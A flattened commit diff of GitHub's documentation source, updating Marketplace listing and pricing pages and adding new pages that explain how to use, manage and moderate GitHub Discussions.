subscriptions in US dollars. - Your app must process plan change events. - You must request verification to publish a listing with a paid plan. - {% data reusables.marketplace.marketplace-pricing-free-trials %} {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. For detailed information, see "[Pricing plans for {% data variables.product.prodname_marketplace %} apps](/developers/github-marketplace/pricing-plans-for-github-marketplace-apps)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Short description - **Available for** - {% data variables.product.prodname_marketplace %} pricing plans can apply to **Personal and organization accounts**, **Personal accounts only**, or **Organization accounts only**. For example, if your pricing plan is per-unit and provides multiple seats, you would select **Organization accounts only** because there is no way to assign seats to people in an organization from a personal account. Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. - **Short description** - Write a brief summary of the details of the pricing plan. The description might include the type of customer the plan is intended for or the resources the plan includes. #### Bullets - **Bullets** - You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. You can write up to four bullets that include more details about your pricing plan. The bullets might include the use cases of your app or list more detailed information about the resources or features included in the plan. {% data reusables.marketplace.free-plan-note %} ### Changing a {% data variables.product.prodname_marketplace %} listing's pricing plan If a pricing plan for your {% data variables.product.prodname_marketplace %} plan is no longer needed or if you need to adjust pricing details, you can remove it. If a pricing plan for your {% data variables.product.prodname_marketplace %} listing is no longer needed, or if you need to adjust pricing details, you can remove it.  Once you publish a pricing plan for an app already listed in the {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you publish a pricing plan for an app that is already listed in {% data variables.product.prodname_marketplace %}, you can't make changes to the plan. Instead, you'll need to remove the pricing plan and create a new plan. Customers who already purchased the removed pricing plan will continue to use it until they opt out and move onto a new pricing plan. For more on pricing plans, see "[{% data variables.product.prodname_marketplace %} pricing plans](/marketplace/selling-your-app/github-marketplace-pricing-plans/)." Once you remove a pricing plan, users won't be able to purchase your app using that plan. Existing users on the removed pricing plan will continue to stay on the plan until they cancel their plan subscription. 37 content/developers/github-marketplace/submitting-your-listing-for-publication.md @@ -0,0 +1,37 @@ --- title: Submitting your listing for publication intro: 'You can submit your listing for the {% data variables.product.prodname_dotcom %} community to use.' redirect_from: - /marketplace/listing-on-github-marketplace/submitting-your-listing-for-review - /developers/github-marketplace/submitting-your-listing-for-review versions: free-pro-team: '*' --- Once you've completed the listing for your app, you'll see two buttons that allow you to request publication of the listing with or without verification. The **Request** button for "Publish without verification" is disabled if you have published any paid pricing plans in the listing.  {% data reusables.marketplace.launch-with-free %} After you submit your listing for review, an onboarding expert will reach out to you with additional information. For an overview of the process for creating and submitting a listing, see "[About {% data variables.product.prodname_marketplace %}](/developers/github-marketplace/about-github-marketplace#publishing-an-app-to-github-marketplace)." ### Prerequisites for publishing with verification Before you request verification of your listing, you'll need to integrate the {% data variables.product.prodname_marketplace %} billing flows and webhook into your app. For more information, see "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." If you've met the requirements for listing and you've integrated with the {% data variables.product.prodname_marketplace %} API, go ahead and submit your listing. For more information, see "[Requirements for listing an app](/developers/github-marketplace/requirements-for-listing-an-app)." {% data reusables.marketplace.app-transfer-to-org-for-verification %} For information on how to do this, see: "[Transferring an app to an organization before you submit](#transferring-an-app-to-an-organization-before-you-submit)" below. ### Transferring an app to an organization before you submit You cannot sell an app that's owned by a user account. You need to transfer the app to an organization that is already a verified creator, or that can request verification for a listing for the app. For details, see: 1. "[Creating an organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)" 1. "[Transferring ownership of a GitHub App](/developers/apps/transferring-ownership-of-a-github-app)" or "[Transferring ownership of an OAuth App](/developers/apps/transferring-ownership-of-an-oauth-app)" 22 content/developers/github-marketplace/submitting-your-listing-for-review.md This file was deleted. 4 content/developers/github-marketplace/testing-your-app.md @@ -1,6 +1,6 @@ --- title: Testing your app intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before the {% data variables.product.prodname_marketplace %} onboarding team approves your app, it must adequately handle the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows).' intro: 'GitHub recommends testing your app with APIs and webhooks before submitting your listing to {% data variables.product.prodname_marketplace %} so you can provide an ideal experience for customers. Before an onboarding expert approves your app, it must adequately handle the billing flows.' redirect_from: - /apps/marketplace/testing-apps-apis-and-webhooks/ - /apps/marketplace/integrating-with-the-github-marketplace-api/testing-github-marketplace-apps/ @@ -13,7 +13,7 @@ versions: ### Testing apps You can use a [draft {% data variables.product.prodname_marketplace %} listing](/marketplace/listing-on-github-marketplace/creating-a-draft-github-marketplace-listing/) to simulate each of the [billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows). A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. You can use a draft {% data variables.product.prodname_marketplace %} listing to simulate each of the billing flows. A listing in the draft state means that it has not been submitted for approval. Any purchases you make using a draft {% data variables.product.prodname_marketplace %} listing will _not_ create real transactions, and GitHub will not charge your credit card. For more information, see "[Drafting a listing for your app](/developers/github-marketplace/drafting-a-listing-for-your-app)" and "[Using the {% data variables.product.prodname_marketplace %} API in your app](/developers/github-marketplace/using-the-github-marketplace-api-in-your-app)." #### Using a development app with a draft listing to test changes 2 .../developers/github-marketplace/webhook-events-for-the-github-marketplace-api.md @@ -1,6 +1,6 @@ --- title: Webhook events for the GitHub Marketplace API intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan. For details on how to respond to each of these types of events, see "[Billing flows](/marketplace/integrating-with-the-github-marketplace-api/#billing-flows)."' intro: 'A {% data variables.product.prodname_marketplace %} app receives information about changes to a user''s plan from the Marketplace purchase event webhook. A Marketplace purchase event is triggered when a user purchases, cancels, or changes their payment plan.' redirect_from: - /apps/marketplace/setting-up-github-marketplace-webhooks/about-webhook-payloads-for-a-github-marketplace-listing/ - /apps/marketplace/integrating-with-the-github-marketplace-api/github-marketplace-webhook-events/ 4 content/developers/webhooks-and-events/webhook-events-and-payloads.md @@ -445,7 +445,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example @@ -469,7 +469,7 @@ Key | Type | Description #### Webhook payload object {% data reusables.webhooks.installation_repositories_properties %} {% data reusables.webhooks.app_desc %} {% data reusables.webhooks.app_always_desc %} {% data reusables.webhooks.sender_desc %} #### Webhook payload example 54 ...ssions/collaborating-with-your-community-using-discussions/about-discussions.md @@ -0,0 +1,54 @@ --- title: About discussions intro: Use discussions to ask and answer questions, share information, make announcements, and conduct or participate in a conversation about a project on {% data variables.product.product_name %}. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About discussions With {% data variables.product.prodname_discussions %}, the community for your project can create and participate in conversations within the project's repository. Discussions empower a project's maintainers, contributors, and visitors to gather and accomplish the following goals in a central location, without third-party tools. - Share announcements and information, gather feedback, plan, and make decisions - Ask questions, discuss and answer the questions, and mark the discussions as answered - Foster an inviting atmosphere for visitors and contributors to discuss goals, development, administration, and workflows  You don't need to close a discussion like you close an issue or a pull request. If a repository administrator or project maintainer enables discussions for a repository, anyone who visits the repository can create and participate in discussions for the repository. Repository administrators and project maintainers can manage discussions and discussion categories in a repository, and pin discussions to increase the visibility of the discussion. Moderators and collaborators can mark comments as answers, lock discussions, and convert issues to discussions. For more information, see "[Repository permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." For more information about management of discussions for your repository, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." ### About categories and formats for discussions {% data reusables.discussions.you-can-categorize-discussions %} {% data reusables.discussions.about-categories-and-formats %} {% data reusables.discussions.repository-category-limit %} For discussions with a question/answer format, an individual comment within the discussion can be marked as the discussion's answer. {% data reusables.discussions.github-recognizes-members %} For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." ### Best practices for discussions As a community member or maintainer, start a discussion to ask a question or discuss information that affects the community. For more information, see "[Collaborating with maintainers using discussions](/discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions)." Participate in a discussion to ask and answer questions, provide feedback, and engage with the project's community. For more information, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." You can spotlight discussions that contain important, useful, or exemplary conversations among members in the community. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#pinning-a-discussion)." {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion)." ### Sharing feedback You can share your feedback about {% data variables.product.prodname_discussions %} with {% data variables.product.company_short %}. To join the conversation, see [`github/feedback`](https://github.com/github/feedback/discussions?discussions_q=category%3A%22Discussions+Feedback%22). ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications)" - "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 50 ...community-using-discussions/collaborating-with-maintainers-using-discussions.md @@ -0,0 +1,50 @@ --- title: Collaborating with maintainers using discussions shortTitle: Collaborating with maintainers intro: You can contribute to the goals, plans, health, and community for a project on {% data variables.product.product_name %} by communicating with the maintainers of the project in a discussion. permissions: People with read permissions to a repository can start and participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About collaboration with maintainers using discussions {% data reusables.discussions.about-discussions %} If you use or contribute to a project, you can start a discussion to make suggestions and engage with maintainers and community members about your plans, questions, ideas, and feedback. For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." {% data reusables.discussions.about-categories-and-formats %} Repository administrators and project maintainers can delete a discussion. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository#deleting-a-discussion)." {% data reusables.discussions.github-recognizes-members %} These members appear in a list of the most helpful contributors to the project's discussions. As your project grows, you can grant higher access permissions to active members of your community. For more information, see "[Granting higher permissions to top contributors](/discussions/guides/granting-higher-permissions-to-top-contributors)"  For more information about participation in discussions, see "[Participating in a discussion](/discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion)." ### Prerequisites To collaborate with maintainers using discussions, a repository administrator or project maintainer must enable discussions for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Starting a discussion {% data reusables.discussions.starting-a-discussion %} ### Filtering the list of discussions You can search for discussions and filter the list of discussions in a repository. For more information, see "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the **Search all discussions** field, type a search query. Optionally, to the right of the search field, click a button to further filter the results.  1. In the list of discussions, click the discussion you want to view.  ### Converting an issue to a discussion {% data reusables.discussions.you-can-convert-an-issue %} For more information, see "[Moderating discussions in your repository](/discussions/managing-discussions-for-your-community/moderating-discussions#converting-an-issue-to-a-discussion#converting-an-issue-to-a-discussion)." ### Further reading - "[About writing and formatting on {% data variables.product.prodname_dotcom %}](/github/writing-on-github/about-writing-and-formatting-on-github)" - "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)" 14 content/discussions/collaborating-with-your-community-using-discussions/index.md @@ -0,0 +1,14 @@ --- title: Collaborating with your community using discussions shortTitle: Collaborating using discussions intro: Gather and discuss your project with community members and other maintainers. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /about-discussions %} {% link_in_list /participating-in-a-discussion %} {% link_in_list /collaborating-with-maintainers-using-discussions %} 31 ...borating-with-your-community-using-discussions/participating-in-a-discussion.md @@ -0,0 +1,31 @@ --- title: Participating in a discussion intro: You can converse with the community and maintainers in a forum within the repository for a project on {% data variables.product.product_name %}. permissions: People with read permissions to a repository can participate in discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About participation in a discussion {% data reusables.discussions.about-discussions %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." In addition to starting or viewing a discussion, you can comment in response to the original comment from the author of the discussion. You can also create a comment thread by replying to an individual comment that another community member made within the discussion, and react to comments with emoji. For more information about reactions, see "[About conversations on {% data variables.product.prodname_dotcom %}](/github/collaborating-with-issues-and-pull-requests/about-conversations-on-github#reacting-to-ideas-in-comments)." You can block users and report disruptive content to maintain a safe and pleasant environment for yourself on {% data variables.product.product_name %}. For more information, see "[Maintaining your safety on {% data variables.product.prodname_dotcom %}](/github/building-a-strong-community/maintaining-your-safety-on-github)." ### Prerequisites Discussions must be enabled for the repository for you to participate in a discussion in the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Creating a discussion {% data reusables.discussions.starting-a-discussion %} ### Marking a comment as an answer Discussion authors and users with the triage role or greater for a repository can mark a comment as the answer to a discussion in the repository. {% data reusables.discussions.marking-a-comment-as-an-answer %} 49 content/discussions/guides/best-practices-for-community-conversations-on-github.md @@ -0,0 +1,49 @@ --- title: Best practices for community conversations on GitHub shortTitle: Best practices for community conversations intro: 'You can use discussions to brainstorm with your team, and eventually move the conversation to a discussion when you are ready to scope out the work.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Community conversations in {% data variables.product.prodname_discussions %} Since {% data variables.product.prodname_discussions %} is an open forum, there is an opportunity to bring non-code collaboration into a project's repository and gather diverse feedback and ideas more quickly. You can help drive a productive conversation by: - Asking pointed questions and follow-up questions to garner specific feedback - Capture a diverse experience and distill it down to main points - Open an issue to take action based on the conversation, where applicable For more information about opening an issue and cross-referencing a discussion, see "[Opening an issue from a comment](/github/managing-your-work-on-github/opening-an-issue-from-a-comment)." ### Learning about conversations on GitHub You can create and participate in discussions, issues, and pull requests, depending on the type of conversation you'd like to have. You can use {% data variables.product.prodname_discussions %} to discuss big picture ideas, brainstorm, and spike out a project's specific details before committing it to an issue, which can then be scoped. Discussions are useful for teams if: - You are in the discovery phase of a project and are still learning which director your team wants to go in - You want to collect feedback from a wider community about a project - You want to keep bug fixes, feature requests, and general conversations separate Issues are useful for discussing specific details of a project such as bug reports and planned improvements. For more information, see "[About issues](/articles/about-issues)." Pull requests allow you to comment directly on proposed changes. For more information, see "[About pull requests](/articles/about-pull-requests)" and "[Commenting on a pull request](/articles/commenting-on-a-pull-request)." {% data reusables.organizations.team-discussions-purpose %} For more information, see "[About team discussions](/articles/about-team-discussions)." ### Following contributing guidelines Before you open a discussion, check to see if the repository has contributing guidelines. The CONTRIBUTING file includes information about how the repository maintainer would like you to contribute ideas to the project. For more information, see "[Setting up your project for healthy contributions](/github/building-a-strong-community/setting-up-your-project-for-healthy-contributions)." ### Next steps To continue learning about {% data variables.product.prodname_discussions %} and quickly create a discussion for your community, see "[Quickstart for {% data variables.product.prodname_discussions %}](/discussions/quickstart)." ### Further reading - "[Setting up your project for healthy contributions](/articles/setting-up-your-project-for-healthy-contributions)" - "[Using templates to encourage useful issues and pull requests](/github/building-a-strong-community/using-templates-to-encourage-useful-issues-and-pull-requests)" - "[Moderating comments and conversations](/articles/moderating-comments-and-conversations)" - "[Writing on {% data variables.product.prodname_dotcom %}](/articles/writing-on-github)" 21 content/discussions/guides/finding-discussions-across-multiple-repositories.md @@ -0,0 +1,21 @@ --- title: Finding discussions across multiple repositories intro: 'You can easily access every discussion you''ve created or participated in across multiple repositories.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Finding discussions 1. Navigate to {% data variables.product.prodname_dotcom_the_website %}. 1. In the top-right corner of {% data variables.product.prodname_dotcom_the_website %}, click your profile photo, then click **Your enterprises**.  1. Toggle between **Created** and **Commented** to see the discussions you've created or participated in. ### Further reading - "[Searching discussions](/github/searching-for-information-on-github/searching-discussions)" - "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)" - "[Managing discussions for your community](/discussions/managing-discussions-for-your-community)" 32 content/discussions/guides/granting-higher-permissions-to-top-contributors.md @@ -0,0 +1,32 @@ --- title: Granting higher permissions to top contributors intro: 'Repository administrators can promote any community member to a moderator and maintainer.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Introduction The most helpful contributors for the past 30 days are highlighted on the {% data variables.product.prodname_discussions %} dashboard, based on how many comments were marked as answers by other community members. Helpful contributors can help drive a healthy community and moderate and guide the community space in addition to maintainers. ### Step 1: Audit your discussions top contributors {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. Compare the list of contributors with their access permissions to see who qualifies to moderate the discussion. ### Step 2: Review permission levels for discussions People with triage permissions for a repository can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. For more information, see "[Moderating discussions](/discussions/managing-discussions-for-your-community/moderating-discussions)." For more information about repository permission levels and {% data variables.product.prodname_discussions %}, see "[Repository permissions levels for an organization](/github/setting-up-and-managing-organizations-and-teams/repository-permission-levels-for-an-organization)." ### Step 3: Change permissions levels for top contributors You can change a contributor's permission levels to give them more access to the tooling they need to moderate GitHub Discussions. To change a person's or team's permission levels, see "[Managing teams and people with access to your repository](/github/administering-a-repository/managing-teams-and-people-with-access-to-your-repository)." ### Step 4: Notify community members of elevated access When you change a collaborators permission level, they will receive a notification for the change. 29 content/discussions/guides/index.md @@ -0,0 +1,29 @@ --- title: Discussions guides shortTitle: Guides intro: 'Discover pathways to get started or learn best practices for participating or monitoring your community''s discussions.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### Getting started with discussions {% link_in_list /about-discussions %} {% link_in_list /best-practices-for-community-conversations-on-github %} {% link_in_list /finding-discussions-across-multiple-repositories %} <!-- {% link_in_list /managing-notifications-for-discussions %} --> ### Administering discussions {% link_in_list /granting-higher-permissions-to-top-contributors %} <!--<!-- Commenting out what is only nice to have for discussions release {% link_in_list /updating-your-contributing-guidelines-with-discussions %} --> <!-- ### Discussions and open source projects {% link_in_list /collaborating-on-open-source-projects-in-discussions %} {% link_in_list /welcoming-contributions-to-your-communitys-discussions %} --> 55 content/discussions/index.md @@ -0,0 +1,55 @@ --- title: GitHub Discussions Documentation beta_product: true shortTitle: GitHub Discussions intro: '{% data variables.product.prodname_discussions %} is a collaborative communication forum for the community around an open source project. Community members can ask and answer questions, share updates, have open-ended conversations, and follow along on decisions affecting the community''s way of working.' introLinks: quickstart: /discussions/quickstart featuredLinks: guides: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions gettingStarted: - /discussions/quickstart guideCards: - /discussions/collaborating-with-your-community-using-discussions/about-discussions - /discussions/collaborating-with-your-community-using-discussions/participating-in-a-discussion - /discussions/managing-discussions-for-your-community/moderating-discussions popular: - /discussions/guides/granting-higher-permissions-to-top-contributors - /discussions/guides/best-practices-for-community-conversations-on-github - /discussions/guides/finding-discussions-across-multiple-repositories - /discussions/collaborating-with-your-community-using-discussions/collaborating-with-maintainers-using-discussions - /discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository product_video: https://www.youtube-nocookie.com/embed/DbTWBP3_RbM layout: product-landing versions: free-pro-team: '*' --- <!-- {% link_with_intro /quickstart %} --> <!-- {% link_with_intro /discussions-guides %} --> <!-- {% link_with_intro /collaborating-with-your-community-using-discussions %} --> <!-- {% link_with_intro /managing-discussions-for-your-community %} --> <!-- Community examples --> {% assign discussionsCommunityExamples = site.data.variables.discussions_community_examples %} {% if discussionsCommunityExamples %} <div class="my-6 pt-6"> <h2 class="mb-2 font-mktg h1">Communities using discussions</h2> <div class="d-flex flex-wrap gutter"> {% render 'discussions-community-card' for discussionsCommunityExamples as example %} </div> {% if discussionsCommunityExamples.length > 6 %} <button class="js-filter-card-show-more btn btn-outline float-right">Show more {% octicon "arrow-right" %}</button> {% endif %} <div class="js-filter-card-no-results d-none py-4 text-center text-gray font-mktg"> <div class="mb-3">{% octicon "search" width="24" %}</div> <h3 class="text-normal">Sorry, there is no result for <strong class="js-filter-card-value"></strong></h3> <p class="my-3 f4">It looks like we don't have an example that fits your filter.<br>Try another filter or add your code example</p> <a href="https://github.com/github/docs/blob/main/data/variables/discussions_community_examples.yml">Add your community {% octicon "arrow-right" %}</a> </div> </div> {% endif %} 13 content/discussions/managing-discussions-for-your-community/index.md @@ -0,0 +1,13 @@ --- title: Managing discussions for your community shortTitle: Managing discussions intro: 'You can enable and configure discussions for your repository, and you can use tools on {% data variables.product.product_name %} to moderate conversations among community members.' versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} {% link_in_list /managing-discussions-in-your-repository %} {% link_in_list /managing-categories-for-discussions-in-your-repository %} {% link_in_list /moderating-discussions %} 64 ...ns-for-your-community/managing-categories-for-discussions-in-your-repository.md @@ -0,0 +1,64 @@ --- title: Managing categories for discussions in your repository intro: You can categorize the discussions in your repository to organize conversations for your community members, and you can choose a format for each category. permissions: Repository administrators and people with write or greater access to a repository can enable discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About categories for discussions {% data reusables.discussions.about-discussions %} {% data reusables.discussions.about-categories-and-formats %} Each category must have a unique name and emoji pairing, and can be accompanied by a detailed description stating its purpose. Categories help maintainers organize how conversations are filed and are customizable to help distinguish categories that are Q&A or more open-ended conversations.{% data reusables.discussions.repository-category-limit %} For more information, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)." ### Default categories | Category | Purpose | Type | | :- | :- | :- | | #️⃣ General | Anything and everything relevant to the project | Open-ended discussion | |💡Ideas | Ideas to change or improve the project | Open-ended discussion | | 🙏 Q&A | Questions for the community to answer, with a question/answer format | Question and Answer | | 🙌 Show and tell | Creations, experiments, or tests relevant to the project | Open-ended discussion | ### Creating a category {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.edit-categories %} 1. Click **New category**.  1. Edit the emoji, title, description, and discussion format for the category. For more information about discussion formats, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions#about-categories-and-formats-for-discussions)."  1. Click **Create**.  ### Editing a category You can edit a category to change the category's emoji, title, description, and discussion format. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "pencil" aria-label="The pencil icon" %}.  1. {% data reusables.discussions.edit-category-details %}  1. Click **Save changes**.  ### Deleting a category When you delete a category, {% data variables.product.product_name %} will move all discussions in the deleted category to an existing category that you choose. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. To the right of a category in the list, click {% octicon "trash" aria-label="The trash icon" %}.  1. Use the drop-down menu, and choose a new category for any discussions in the category you're deleting.  1. Click **Delete & Move**.  108 ...aging-discussions-for-your-community/managing-discussions-in-your-repository.md @@ -0,0 +1,108 @@ --- title: Managing discussions in your repository intro: You can categorize, spotlight, transfer, or delete the discussions in a repository. permissions: Repository administrators and people with write or greater access to a repository can manage discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About management of discussions {% data reusables.discussions.about-discussions %} For more information about discussions, see "[About discussions](/discussions/collaborating-with-your-community-using-discussions/about-discussions)." Organization owners can choose the permissions required to create a discussion for repositories owned by the organization. For more information, see "[Managing discussion creation for repositories in your organization](/github/setting-up-and-managing-organizations-and-teams/managing-discussion-creation-for-repositories-in-your-organization)." As a discussions maintainer, you can create community resources to encourage discussions that are aligned with the overall project goal and maintain a friendly open forum for collaborators. Creating a code of conduct or contribution guidelines for collaborators to follow will help facilitate a collaborative and productive forum. For more information on creating community resources, see "[Adding a code of conduct to your project](/github/building-a-strong-community/adding-a-code-of-conduct-to-your-project)," and "[Setting guidelines for repository contributors](/github/building-a-strong-community/setting-guidelines-for-repository-contributors)." For more information on facilitating a healthy discussion, see "[Moderating comments and conversations](/github/building-a-strong-community/moderating-comments-and-conversations)." ### Prerequisites To manage discussions in a repository, discussions must be enabled for the repository. For more information, see "[Enabling or disabling discussions for a repository](/github/administering-a-repository/enabling-or-disabling-github-discussions-for-a-repository)." ### Changing the category for a discussion You can categorize discussions to help community members find related discussions. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)" article. You can also move a discussion to a different category. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  ### Pinning a discussion You can pin up to four important discussions above the list of discussions for the repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Pin discussion**.  1. Optionally, customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Editing a pinned discussion Editing a pinned discussion will not change the discussion's category. For more information, see "[Managing categories for discussions in your repository](/discussions/managing-discussions-for-your-community/managing-categories-for-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pencil" aria-label="The pencil icon" %} **Edit pinned discussion**.  1. Customize the look of the pinned discussion.  1. Click **Pin discussion**.  ### Unpinning a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "pin" aria-label="The pin icon" %} **Unpin discussion**.  1. Read the warning, then click **Unpin discussion**.  ### Transferring a discussion To transfer a discussion, you must have permissions to create discussions in the repository where you want to transfer the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "arrow-right" aria-label="The right arrow icon" %} **Transfer discussion**.  1. Select the **Choose a repository** drop-down, and click the repository you want to transfer the discussion to.  1. Click **Transfer discussion**.  ### Deleting a discussion {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} {% data reusables.discussions.click-discussion-in-list %} 1. In the right sidebar, click {% octicon "trash" aria-label="The trash arrow icon" %} **Delete discussion**.  1. Read the warning, then click **Delete this discussion**.  ### Converting issues based on labels You can convert all issues with the same label to discussions in bulk. Future issues with this label will also automatically convert to the discussion and category you configure. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} {% data reusables.project-management.labels %} 1. Next to the label you want to convert to issues, click **Convert issues**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 40 ...t/discussions/managing-discussions-for-your-community/moderating-discussions.md @@ -0,0 +1,40 @@ --- title: Moderating discussions intro: 'You can promote healthy collaboration by marking comments as answers, locking or unlocking discussions, and converting issues to discussions. and editing or deleting comments, discussions, and categories that don''t align with your community''s code of conduct to discussions.' permissions: People with triage access to a repository can moderate discussions in the repository. versions: free-pro-team: '*' --- {% data reusables.discussions.beta %} ### About moderating discussions {% data reusables.discussions.about-discussions %} If you have triage permissions for a repository, you can help moderate a project's discussions by marking comments as answers, locking discussions that are not longer useful or are damaging to the community, and converting issues to discussions when an idea is still in the early stages of development. ### Marking a comment as an answer {% data reusables.discussions.marking-a-comment-as-an-answer %} ### Locking discussions It's appropriate to lock a conversation when the entire conversation is not constructive or violates your community's code of conduct or {% data variables.product.prodname_dotcom %}'s [Community Guidelines](/github/site-policy/github-community-guidelines). You can also lock a conversation to prevent comments on a discussion you want to use as an announcement to the community. When you lock a conversation, people with write access to the repository will still be able to comment on the discussion. {% data reusables.repositories.navigate-to-repo %} {% data reusables.discussions.discussions-tab %} 1. In the list of discussions, click the discussion you want to lock.  1. In the right margin of a discussion, click **Lock conversation**. 1. Read the information about locking conversations and click **Lock conversation on this discussion**. 1. When you're ready to unlock the conversation, click **Unlock conversation**, then click **Unlock conversation on this discussion**. ### Converting an issue to a discussion When you convert an issue to a discussion, the discussion is automatically created using the content from the issue. People with write access to a repository can bulk convert issues based on labels. For more information, see "[Managing discussions in your repository](/discussions/managing-discussions-for-your-community/managing-discussions-in-your-repository)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-issues %} 1. In the list of issues, click the issue you'd like to convert. 1. In the right margin of an issue, click **Convert to discussion**. 1. Select the **Choose a category** drop-down menu, and click a category for your discussion. 1. Click **I understand, convert this issue to a discussion**. 62 